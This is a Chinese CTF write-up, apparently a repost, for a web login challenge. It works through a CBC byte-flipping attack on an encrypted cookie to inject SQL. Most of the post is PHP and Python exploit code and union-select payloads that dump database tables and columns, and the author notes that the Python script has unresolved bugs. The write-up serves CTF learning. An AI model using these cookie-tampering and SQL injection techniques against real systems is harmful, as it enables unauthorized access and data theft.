实验吧---简单的登陆题(CBC字节翻转攻击)

xiaoxiao2021-02-28  46

具体原理就不介绍了,百度上很多,直接放代码。因为用python3执行pcat大神的脚本出现很多语法和编码问题,所以打算用php脚本重写一遍攻击过程。

第一步:填写0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);

提交后取得返回的cipher,替换php中的字符串,执行php文件,代码如下:

<?php $cipher_new = base64_decode(urldecode('E/2btd4lXULo0you/WrX2koJP+TE3geRjh0KCNQQ+IG54oHA5d3PDDejYyPIJgha49NuNN1A3GWbf7r9JiLun8reIPrsAjymZJFBNDnZYX8mw9Q6aFKKGWQTZxrlwNB04I9a/FnBGq1kpTcPtlLrwg=='));//获得的cipher替换此处的字符串 $cipher_new[6]=$cipher_new[6]^'2'^'u';//CBC字节翻转攻击 $cipher_new = urlencode(base64_encode($cipher_new));//编码 printf("%s",$cipher_new);//输出,可以重定向到某个文件中,便于粘贴 ?>

第二步,把从第一步得到的cipher_new填写到请求头中,替换原有的cipher,发起请求,获得plain,用第一步获得的iv和现在得到的plain替换php文件中的字符串,执行php文件,获得iv_new,代码如下:

<?php $iv_raw = base64_decode(urldecode('QO+uxhnlXj/0fqrGaXPt1g=='));//用iv替换字符串 $plain = base64_decode('gSwYUxnRPhRbyBPMyamSvjg2OiIwIHVuaW9uIHNlbGVjdCAqIGZyb20oKHNlbGVjdCAxKWEgam9pbiAoc2VsZWN0ICogZnJvbSB5b3Vfd2FudCliIGpvaW4gKHNlbGVjdCAzKWMpOyUwMCI7fQ==');//用获得的plain替换字符串 $first='a:1:{s:2:"id";s:';//16个字节,即明文的第一行 $iv_new=''; for ($i=0; $i<16; $i++) {//进行异或,得到新的iv,使反序列化执行成功 $iv_new.=$first[$i]^$iv_raw[$i]^$plain[$i];//这里用.=而不是+= } printf("%s",urlencode(base64_encode($iv_new))); ?>

第三步,用第二步获得的iv_new和第一步获得的cipher_new发起请求,sql语句提交成功。但是在实际试验中发现提示语法错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ',0' at line 1。不知道是怎么回事,截断没有生效

考虑到需要把攻击自动化,重写了pcat大神的python代码,跳过了许多编码和bytes转换的坑,然而最后还是遇到了问题,我在相关的地方用注释标注了出来。

# -*- coding:utf8 -*- from base64 import * import urllib import requests import re import base64 import binascii def mydecode(value): return b64decode(urllib.parse.unquote(value)) def myencode(value): return urllib.parse.quote(b64encode(value))# def denglu(payload,idx,c1,c2): url='http://ctf5.shiyanbar.com/web/jiandan/index.php' payload = {'id': payload} #获取iv和cipher r = requests.post(url, data=payload) Set_Cookie=r.headers['Set-Cookie'] iv=re.findall("iv=(.*?),", Set_Cookie)[0] #iv='ER8b9BiqqPMBOrJhZISTtg=='用于测试的iv cipher=re.findall("cipher=(.*)", Set_Cookie)[0] #cipher='poohZTMmvCNHNUy0/rrWMfMh+uGqewJRYnhVJdekyI0='用于测试的cipher #修改cipher iv_raw = mydecode(iv) cipher_raw=mydecode(cipher)#cipher_raw是bytes类型,不支持assignment,转换成list cipher_new=list(cipher_raw) cipher_new[idx]=(cipher_raw[idx]^ord(c1)^ord(c2))#cipher_new是list类型,每个元素是int cipher_new_b=myencode(bytes(cipher_new))#list转bytes,直接转 cookie_new={'iv': iv,'cipher':cipher_new_b} #获取plain r = requests.post(url, cookies=cookie_new)#2 cont=r.content plain = re.findall("base64_decode\('(.*?)'\)", bytes.decode(cont))[0] plain = b64decode(plain) #通过iv_new修复cipher_new,避免unserialize失败 first='a:1:{s:2:"id";s:' iv_new=''#iv_new 是字符串类型 for i in range(16): iv_new+=chr((ord(first[i]))^(plain[i])^(iv_raw[i])) print(binascii.b2a_hex(plain)) print(binascii.b2a_hex(iv_raw)) #这里出了问题,iv_new经过异或运算后,  #与php所求结果不同,但是输出plain和iv_raw的十六进制格式与php输出的plain和iv_raw做比对, #发现没有差别。不知道为什么同样的变量,异或之后得到的结果不同,导致这个脚本不能提交sql语句, #而是又返回一个can not unserialize的提示 cookie_new = {'iv': ''.join(iv_new), 'cipher': cipher_new_b} r = requests.post(url, cookies=cookie_new)#3 rcont = r.content print (rcont) denglu('12',4,'2','#') #denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u') #denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u') #denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u') #denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')

最后还有一个问题,为什么CBC翻转攻击的时候不是替换第5个字节,而是替换第6个字节。讲道理"id=0 2"中,2在数组内的索引应该是5啊!?

补充:

1、可能是php或者mysql修复了截断,因为直接输入1;依然无法实现截断

2、python异或结果不对可能是编码问题,懒得转成二进制逐个bit去比对了

3、CBC翻转攻击时替换第6个字节是因为,php中数组的存储方式类似a:1:{s:2:"id";s:84:"0 2nion select * from((select 1)a...,是key-value的形式,key和value中间还有一个整数用来表示value的字节数,如果这个整数的位数发生改变,那么CBC字节翻转攻击需要修改的字节就得改变。

再补充:

1、截断并不是字面意义上的截断,而是指经过urldecode之后会变成空字符\0,我们知道在c语言中\0是字符串的结尾,所以\0之后的字符就被截断了。所以,在本道题中不能直接输入1;,因为这样会被编码成1;%00,需要用burpsuit抓包后修改为1;,然后再post才能成功截断。

2、引用百度的一段介绍“Python 3最重要的新特性大概要算是对文本和二进制数据作了更为清晰的区分。文本总是Unicode,由str类型表示,二进制数据则由bytes类型表示。Python 3不会以任意隐式的方式混用str和bytes,正是这使得两者的区分特别清晰。你不能拼接字符串和字节包,也无法在字节包里搜索字符串(反之亦然),也不能将字符串传入参数为字节包的函数(反之亦然)。这是件好事。”我不认同这个说法,复杂的编解码大大降低了变成的效率,所以如果要写自动化攻击用的脚本的话,还是推荐用python2吧。

转载请注明原文地址: https://www.6miu.com/read-2626647.html

最新回复(0)